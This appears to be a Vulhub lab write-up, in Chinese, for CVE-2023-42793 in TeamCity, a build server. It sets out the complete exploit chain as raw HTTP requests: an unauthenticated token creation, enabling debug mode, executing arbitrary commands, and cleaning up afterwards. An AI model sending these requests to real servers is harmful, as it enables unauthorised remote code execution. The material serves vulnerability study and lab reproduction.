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104 lines
4.1 KiB
Markdown
104 lines
4.1 KiB
Markdown
# Jetbrains TeamCity 认证绕过导致远程命令执行漏洞 CVE-2023-42793
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## 漏洞描述
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TeamCity 是 JetBrains 的构建管理和持续集成服务器。
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在 TeamCity 2023.05.3 版本及以前，存在一处由于逻辑错误导致的认证绕过漏洞，攻击者利用该漏洞最终可以在目标服务器上执行任意命令。
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参考链接：
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- [https://www.sonarsource.com/blog/teamcity-vulnerability/](https://www.sonarsource.com/blog/teamcity-vulnerability/)
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- [https://blog.projectdiscovery.io/cve-2023-42793-vulnerability-in-jetbrains-teamcity/](https://blog.projectdiscovery.io/cve-2023-42793-vulnerability-in-jetbrains-teamcity/)
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## 环境搭建
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Vulhub 执行如下命令启动一个 TeamCity 2023.05.3 服务器：
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```
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docker compose up -d
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```
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服务启动后，需要打开 `http://your-vps-ip:8111/` 并执行一系列初始化操作，创建一个管理员账户。
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## 漏洞复现
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造成这个漏洞的原因是 TeamCity 内部对于所有以 `/RPC2` 为后缀结尾的请求都不认证权限。
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而正好添加 API Token 的请求的结尾参数是 Token 的名字，我们可以添加一个名字为 `RPC2` 的 API Token：
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```
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POST /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
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Host: your-ip:8111
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 0
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```
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这样就成功绕过权限认证生成了一个新的 Token：
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```
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<?xml version="1.0" encoding="UTF-8" standalone="yes"?><token name="RPC2" creationTime="2024-07-18T02:08:21.088Z" value="eyJ0eXAiOiAiVENWMiJ9.NU5Lc3lneWFhQ19CRUp3MDE4bnFUTTVGck1N.N2M4NDQ5MmEtYzQwOS00NjE5LTliOWMtNGY3YzQwMDNmNDY4"/>
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```
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使用该 Token 来开启调试模式：
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```
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POST /admin/dataDir.html?action=edit&fileName=config%2Finternal.properties&content=rest.debug.processes.enable=true HTTP/1.1
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Host: your-ip:8111
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 0
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Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.NU5Lc3lneWFhQ19CRUp3MDE4bnFUTTVGck1N.N2M4NDQ5MmEtYzQwOS00NjE5LTliOWMtNGY3YzQwMDNmNDY4
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```
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开启调试模式后，就可以执行任意命令了：
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```
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POST /app/rest/debug/processes?exePath=id HTTP/1.1
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Host: your-ip:8111
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Length: 0
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Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.NU5Lc3lneWFhQ19CRUp3MDE4bnFUTTVGck1N.N2M4NDQ5MmEtYzQwOS00NjE5LTliOWMtNGY3YzQwMDNmNDY4
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```
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利用结束后，最好能够删除名为 `RPC2` 的 API Token，避免对业务造成问题：
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```
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DELETE /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
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Host: your-ip:8111
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Accept-Encoding: gzip, deflate, br
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 0
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```
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